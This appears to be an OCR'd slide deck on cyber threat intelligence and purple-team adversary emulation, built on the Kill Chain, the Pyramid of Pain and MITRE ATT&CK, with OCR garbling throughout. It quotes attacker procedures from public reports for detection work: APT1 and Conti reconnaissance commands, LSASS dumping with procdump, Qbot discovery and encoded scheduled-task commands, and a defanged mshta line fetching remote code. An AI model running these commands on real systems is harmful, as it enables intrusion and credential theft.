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Cyber Threat Intelligence - Purple Process

eyl Createa Plan
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Understand the Gather Threat Analyze & Emulate the
Target Org Intelligence Organize Adversary

ATT&CKIing the Status Quo: Threat-Based Adversary Emulation with MITRE ATT&CK - Katie Nickels and Cody Thomas
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https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536260992.pdf

Cyber Threat Intelligence

“Threat intelligence is data that is collected, processed, and analyzed to

understand a threat actor’s motives, targets, and attack behaviors.”
-CrowdStrike https://www.crowdstrike.com/cybersecurity-101/threat-intelligence/

Relationship of Data, Information, and Intelligence

Operational Data Information Intelligence
Environment

Collection Processing Analysis
and and
Exploitation Production

s YTHE https://www.jcs.mil/Portals/36/Documents/Doctrine/pubs/ip2_0.pdf @


https://www.crowdstrike.com/cybersecurity-101/threat-intelligence/
https://www.jcs.mil/Portals/36/Documents/Doctrine/pubs/jp2_0.pdf

What is a threat?

—_| CAPABILITY

THREAT

OPPORTUNITY

S: .incibe-cert.es/en/blog/active-defence-and-intelligence-threat-intelligence-industrial-environments %


https://www.incibe-cert.es/en/blog/active-defence-and-intelligence-threat-intelligence-industrial-environments

Prioritizing Threats - Threat Box

Intent wmp

J ®E F ¢ ¢

Capability msp

Andy Piazza - Threat Box
https://klrarz.medium.com/quantifying-threat-actors-with-threat-box-e6b641109b11 %
6

SOTHE


https://klrgrz.medium.com/quantifying-threat-actors-with-threat-box-e6b641109b11

Intelligence Timeline

Cyber Kill Chain®
2011

o o\o/
O
APT1 MITRE ATT&CK™
2013 2015
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RECONNAISSANCE

Harvesting email addresses,
conference information, etc.

<]

WEAPDNIZATION

Coupling exploit with backdoor
into deliverable payload

Delivering weaponized bundie to the
victim via email, web, USB, etc.

Exploiting a vulnerability to execute
code on victim's system

INSTALLATION

Installing malware on the asset

COMMAND & CONTROL (C2)

Command channel for remote
manipulation of victim

With ‘Hands on Keyboard' access,
intruders accomplish their original goals



https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

APT 1 Report

e Focused on the human element

o There's an organization of people behind it
o Organizations have approved:

m Actions

m Tooling

m [raining

m Manuals
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APT1 & Conti

Internal Reconnaissance

In the Internal Reconnaissance stage, the intruder collects information about the victim environment. Like most APT
(and non-APT) intruders, APT1 primarily uses built-in operating system commands to explore a compromised system
and its networked environment. Although they usually simply type these commands into a command shell, sometimes
intruders may use batch scripts to speed up the process. Figure 18 below shows the contents of a batch script that
APT1 used on at least four victim networks.

@echo off

ipconfig /all>>”C:\WINNT\Debug\1l.txt”
net start>>”C:\WINNT\Debug\l.txt”
tasklist /v>>”C:\WINNT\Debug\l.txt”
net user >>”C:\WINNT\Debug\l.txt”

net localgroup administrators>>’sesmibbENDebug\l txt”

netstat -ano>>”C:\WINNT\Debug\l.txt”

net use>>”C:\WINNT\Debug\l.txt”

net view>>”C:\WINNT\Debug\l.txt”

net view /domain>>”C:\WINNT\Debug\l.txt”
net group /domain>>”C:\WINNT\Debug\l.txt”
net group “domain users” /domain>>"Cg ebug\1l.txt”

net group “domain admins” ain>>”C:\WINNT\Debug\l.txt”

net group “domain controllers” /domain>>”C:\WINNT\Debug\l.txt”

net group “exchange domain servers” /domain>>”C:\WINNT\Debug\l.txt”
net group “exchange servers” /domain>>”C:\WINNT\Debug\l.txt”

net group “domain computers” /domain>>”C:\WINNT\Debug\l.txt”

FIGURE 18: An APT1 batch script that automates reconnaissance

Mandiant APT1 35 www.mandiant.com

1.5 . 2 . net domain_ controllers < ===== this command will show the ip
addresses of domain controllers
1.6 . shell net localgroup administrators <===== local administrators

= 1.7 . shell net group / domain "Domain Admins" <===== domain administrators

1.8 . shell net group "Enterprise Admins" / domain < enterprise
administrators

1.9 . the shell net group "the Domain Computers has" / domain <===== total
number - in the PC in the domain

1.10 . net computers < ===== ping all hosts with the output of ip
addresses.

https://www.mandiant.com/sites/default/files/2021-09/man
diant-aptl-report.pdf

SOTHE

https://github.com/scythe-io/community-thr
eats/blob/master/Conti/Conti_Playbook_Tra
nslated.pdf
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Pyramid of Pain

David Bianco: http:/detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

A Tough!
n Challenging
Host Artifacts

Hash Values Trivial
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http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

Atomic Indicators: Hashes

“(91.81%) were submitted from only a single source. There were also a substantial number of files submitted by

exactly two (5.74%) or three (1.02%) sources. Together those three categories account for 98.57% percent of all
malicious files.” -David Bianco

Malware Hash Submission Counts

8M

6M

count

aM

2M

1 2 3 4 5 6 7 8 9 10 > 10
Number of Submissions

http://detect-respond.blogspot.com/2022/04/stop-using-ha %
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http://detect-respond.blogspot.com/2022/04/stop-using-hashes-for-detection-and.html

ATT&CK™

e [wo years after APT 1 Report and Pyramid of Pain
e Developed as a way to categorize actor activity
o One way function
m Procedures and observations -> Techniques

ATTRCK™SORTING SAYS

= ri003.001— " 2@
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Direction: Extract TTPs

| T1068 — Exploitation for Privilege Escalation | T1086 - Powershell
S0129 — Autol T ;

S0194 - PowerSploit

The payload was ; n-AutolT downlogder that retrieved and exegesled additional PowerShelljfrom

fhxxps://85.206.161[.)216:8080/HdmePage.htm Fhe followeén PowerShell profiled the target system’s

architecture, downloaded the appropriate v#iant ofiPowerSploitkMDS:|C326f156657dlc4!a9€387475bf779d4 I:)r
0564706ec38d15e98I1f71eaf474d0algB), and geflectively loaded PUPYRAT|(MDS

94¢cd86a0a4d747472c2b3f1bc32790% 7 or 17487668ACS577FCEOB27842888EB72AC). The ac
publicly available exploit forICVE-2017-0213 o escalate privileges, publicly

ailable Windows\Sysinternals

PROCDUMP to dump the LSASSIprocess. anf publicly availableMIMIKATZ ffo pARsumably stealydditional
credentials. Mar'aged Defense aided the victm in containing the intrdsion.
1 1
T1003 - Credential Dumping 50002 - Mimliatz <0192 - Ry \
IP Address Hash Value

ATT&CKing the Status Quo: Threat-Based Adversary Emulation with MITRE ATT&CK - Katie Nickels and Cody Tho
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https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536260992.pdf

Breaking Out TTPS

Procedures

How the technique was carried out.
For example, the attacker used
procdump -ma Isass.exe Isass_dump

Challenging

Host Artifacts

Techniques

Techniques represent the tactical goal of the
procedure. For example, T1003.001 - OS
Credential Dumping: LSASS Memory.

Tactics

Tactics represent the strategic goal of
the adversary. For example, TA0O6 -
Credential Access

SOTHE %15



Tactics

e “Tactics represent the ‘why’ of an ATT&CK technique or sub-technique. It is the
adversary's tactical goal: the reason for performing an action. For example, an
adversary may want to achieve credential access.” - MITRE ATT&CK

o This level isn't granular enough to make actionable defense
o Helps categorize techniques into buckets

SOTHE !


https://attack.mitre.org/tactics/enterprise/

Techniques

e Current level of most intelligence sharing

O In this example it doesn’t specify how the actor conducts the

technique

Techniques

Techniques represent the tactical goal of the
procedure. For example, T1003.001 - OS
Credential Dumping: LSASS Memory.

Tactics

Tactics represent the strategic goal of
the adversary. For example, TA0O6 -
Credential Access

SOTHE



ATT&CK™ Techniques

100% ATTRCK COVERAGE
Jamie Williams @jamieantisocial 18
SYTHE %



ATT&CK™ Check Box Fallacy

TH

Privilot?: Credential Lateral Command and
Initial Access Execution Persistence Escalation Defense Evasion Access y Control Exfiltration Impact
9 i 10 18 i 13 i 32 techniques 15 techniques 25 i 9 i 16 i 8 i 13 i
Acc _ i D l Exploitation of Application Layer Automated Account Access
Manipulation . Remote Services Protocol ., Exfiltration ., Removal
o Application Window = ~ 5y
Exploit Public- BITS Jobs Discovery Internal Audio Capture Communication |Data Transfer Size  Data Destruction
Facing Application  Exploitation for Client Spearphishing Through Removable  Limits
Execution Boot or Logon i o Media D
External Remote Autostart s Exploitation for Lateral Exfiltration Over
Services Execution Boot or Logon Credential Access Transfer Data Encoding ., L] Alternative
Autostart D sca c Cloud Service Dashboard Clipboard Data o Protocol (5.5,
Hardware Additions Boot or Logon Execution Forced Data
Native API Initialization o . Authentication Cloud Service Discovery Data from Obfuscation . Exfiltration Over
Phishing i Scripts Boot or Logon information €2 Channel

Initialization - — Forge Web
Browser Exte: s Scripts Credentials .

Repositories.
File and Directory
Input Capture Discovery

Endpoint Denial of
Supply Chain >

‘Compromise
Firmware Corruption
Trusted Relationship
Modify Network Share Discovery Inhibit System
Valid Accounts ., u i rectory. ootk

Network Sniffing
Event Triggered nt Triggered X
Windows Management [l Execution ecution o= Password Policy

Discovery

Network Denial of
Service .,

External Remote Exploitation for Use Alternate
Services Privilege Escalation Peripheral Device Authentication
Discovery Material

Hijack Execution Hijack Execution
Tow Flow
3 P Process Injection (11055)
Authentication actior Score

Process Discovery
Process

Aguregate Score (average): 9222
99eg (average Screen Capture
fle moditication: Microsoft-Windows
Sysmon/Operational_2
Valid Accounts | , Microsoft-Windows-
o SysmonfOpsratiooal_11

Video Capture

module load:

process access Microsoft-Windows-
SysmonjOperational 10
Component /5, 08 api axacution:
Traffic Mm System Network

Configuration
Valid Accounts . Discovery

Rogue Domain Controller System Network
Connections Discovery
Rootkit
System OwnerfUser
Signed Binary Proxy Discovery
Execution

System Service Discov

System Time Discovery

Evasion

Subvert Trust
Controls

https://medium.com/falconforce/sysmon-vs-microsoft-defen
der-for-endpoint-mde-internals-0x01-1e5663b10347



Procedure Assumption

e P
Y AN
X N

tasklist Windows Command Line wmic process get /format:list
T1059.003

Windows Management Instrumentation
T1047

Process
Discovery
T1057

PowerShell
T1059.001

Native API
T1106

CreateToolhelp32Snapshot Function

Get-Process

SOTHE



Procedure Assumption - APT 1 Example

APT1 (G0006) X

S(YTHE

dential Access
16 techniques

+

Discovery
30 techniques

Account
Discovery (1/a)

Application Window
Discovery

Browser Bookmark
Discovery

Cloud Infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service
Discovery

Cloud Storage Object
Discovery

selection controls layer controls

6.ax B rHEA=F][I ¢:

Collection
17 techniques

Lateral Movement
9 techniques

Cloud Account
Domain Account

Email Account

Exploitation of

Remote
Services
Internal
Spearphishing e .
versary-in-
Lateral Tool the-Middle ©13)
Transfer
Remote Archive
Service Collected Archive via Custom Method
Session Data 3 o
Hijacking ©/2) Archive via Library
Audio Capture

Distributed Component Object Model Browser Session
Hijacking
SMB/Windows Admin Shares

Remote .
> Clipboard Data
Services 16) SSH
Data from Cloud
VNC Storage Object
Windows Remote Management Data from
Configuration
Replication Repository ©/2)
Through
Removable Data from
Media Information
Repositories
Software (0/2)
Deployment Data from
Tools Network Shared
Drive
Taint Shared
Content Data from

Removable
llea Altarnata Annlinatinn Annace Talban Nata Ctamad H



Procedures

URES IN TIIIS»BAI! BOY

S(VTHE L



Procedures

e How the adversary carries out their actions
o Best for emulation and detection validation

Procedures

How the technique is

carried out. For example,
@ the attacker used

procdump -ma lsass.exe

Techniques lsass_dump

T1003.001 - OS Credential .
Dumping: LSASS Memory.

Tactics
' TAOO0G6 - Credential Access

SOTHE !




Procedure-level intel

Cyber Threat Intelligence has improved from Indicators of Compromise to
Indicators of Behaviors and mapping to MITRE ATT&CK. However...

Exploitation for Privilege Escalation — T1068
Service Execution — T1569.002

Network Share Discovery — T1135

Pass the Hash — T1550.002

PowerShell — T1059.001

Windows Command Shell — T1059.003
Network Share Discovery — T1135
Obfuscated Files or Information — T1027
Scheduled Task — T1053.005

Process Injection — T1055

Remote System Discovery — T1018
Obfuscated Files or Information — T1027
Domain Trust Discovery — T1482

Domain Groups — T1069.002

System Owner/User Discovery — T1033
Network Share Discovery — T1135
Remote Services — T1021

Local Account — T1087.001

Security Software Discovery — T1518.001

aBoT M ]

https://thedfirreport.com/2022/02/21/gbot-and-zerologon-lead-to-full-doma
in-compromise/

-------- < rundll32.exe C:\Users\<redacted>\Downloads\e2bc969424adc97345ac81194d316£58da38621aad3calae27e40a8fae5682987.d11,#1

1. starts & injects into

'
'
N

e o e > 41.228.22.180:443
H
1,

"""""""""" > 24.229.150.54:995

+==-»whoami /all --net view /all --netstat -ano

-==-pcmd /c set --net share --net localgroup

--»ipconfig /all --route print --arp -a

---»nslookup -querytype=ALL -timeout=10 _ldap._tcp.dc. msdcs.<redacted>

3. Runs discovery commands

schtasks.exe /Create /F /TN "(97F2F70B-10D1-4447-A2F3-9B070C86E261}" /TR "cmd /c start /min
::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\SOFTWARE)\

'
'
'
'
'
'
'
:. e § _____ » regsvr32.exe -s "C:\Users\<redacted>\AppData\Roaming\Microsoft\Fdopitcu\gwkrfxkgymyv.dl1l"
'
'
'
'
'
'


https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/

Procedure Level - Human Element

SOTHE

Focus on the human element and behaviours
o Training

Tools

Approved Actions

Runbooks

Habits

Conti Playbook Example

o “In one case, we observed the operator copying and pasting commands from a script,
neglecting to provide the actual IPv4 addresses as the required parameter” -TheDFIRReport

o O O O

https://thedfirreport.com/2022/03/07/2021-year-in-review/ %


https://thedfirreport.com/2022/03/07/2021-year-in-review/

Cyber Threat Intelligence

e [ocus on collecting and sharing procedures
o Drives Emulation and Detection Verification

Attack details

o M S hta exe W|th WAN con neCtion \ MSTIC discovered the 0-day attack behavior in Microsoft 365 Defender telemetry during a routine

investigation. An anomalous malicious process was found to be spawning from the Serv-U process,

= C\Windows\System32)mshta.exe http.//144[]34[.]179[]162/a kd efanged)

o  Whoami execution

= cm whoami > ”./Client/Common/redactedtxt”|

m May scope to execution — | « cmdexe /c dir > “\Client\Common|redacted. tt”

H H H = cmd.exe /c “"C:\Windows\Temp\Serv-U.bat™"
with certain command line craerest mTndoneEmpiRerEne
= powershell.exe C:\Windows\Temp\Serv-U.bat

pa ram ete rs = c¢cmd.exe /c type \\redacted\redacted.Archive > “C:\ProgramData\RhinoSoft\Serv-U\Users\Global
Users\redacted.Archive”

Microsoft MSTIC Blog

SOTHE !



https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/?ranMID=24542&ranEAID=TnL5HPStwNw&ranSiteID=TnL5HPStwNw-3bDn.wKeL5vkM1x_ka0C2g&epi=TnL5HPStwNw-3bDn.wKeL5vkM1x_ka0C2g&irgwc=1&OCID=AID2200057_aff_7593_1243925&tduid=%28ir__0k6vpvup3ckf6hsxqwh1wonya22xomcol60uykml00%29%287593%29%281243925%29%28TnL5HPStwNw-3bDn.wKeL5vkM1x_ka0C2g%29%28%29&irclickid=_0k6vpvup3ckf6hsxqwh1wonya22xomcol60uykml00

Cyber Threat Intelligence: Collecting

e Reports

o Review open and closed source reports.
m SO -> LNK Example

e Incidents
o Review observed incidents in the organization.

e Honey Pots

o Analyze honey pot activity.
m Even minimal interaction can help identify adversaries in early stages

e Sandboxing

o Sandbox email malware samples.

SOTHE !



Red Team Emulations

e Emulate observed procedures
o Test known procedures first to verify controls

e Adapt procedures
o [SO -> LNK -> Substitute Rundll32

e Hypothesis and test variations to break detection
o  Work with Blue Team

SOTHE !



Operationalized Purple Team

Analyze & Organize TTPs

New CTIl/Procedures

Tabletop

Dissemination Direction

Emulate Attack

Detection
Engineering

Processing Collection

SOTHE 8



Logging

o ATT&CK™ Pivot

SOTHE

o Procedure -> Technique -> Logs

Detection
D Data Source
DS0017 Command
DS0011 Module
DS0009 Process
DS0012 Script

Data Component
Command Execution
Module Load
Process Creation

Script Execution

https://attack.mitre.org/techniques/T1059/001/



https://attack.mitre.org/techniques/T1059/001/

SOTHE

Example

run net group /domain "Domain Admins"

run ipconfig /all

run systeminfo

run whomai /groups

run net config workstation

run net use

run cmd /c echo %userdomain%
run nitest /domain_trusts

run nitest /domain_trusts /all_trusts
run net view /all /domain

run net view /all

Alerted Suspicious net usage |
Alerted Whoamu Process Activity
Alerted Windows Network Enumeration I

Windows Network Enumeration I



Detection Drivers

Threat Understanding

Operational Capabilitiy Data Collection

SOTHE !



Detection Engineering

e |everage Red Team to test, verify, and augment
m Don't focus too granular

SOTHE !



Indicators of Attack

e ‘“Indicators of attack (IOA) focus on detecting...regardless of the malware or exploit used in an
atta C k." - C rOWd Stl’l ke https://www.crowdstrike.com/cybersecurity-101/indicators-of-compromise/ioa-vs-ioc/

SOTHE !



Monitoring and Response

e Understand threat landscape and attacker playbooks
m Example: If you don’t know PowerShell is used in
malicious activity, you won't try to detect it.
m Practice
e Focus on Procedures
m Not Technique Level
m |OC Feeds do not equal threat understanding
e \erify Response
o Mimikatz on domain controller example

SOTHE !



Purple Team Exercise Framework (v2)

Available at https://scythe.io/ptef

SQYTHE

Purple Team
Exercise Framework

SOTHE


https://scythe.io/ptef

Happy Procedure Level
Purple Teaming!

SQTHE



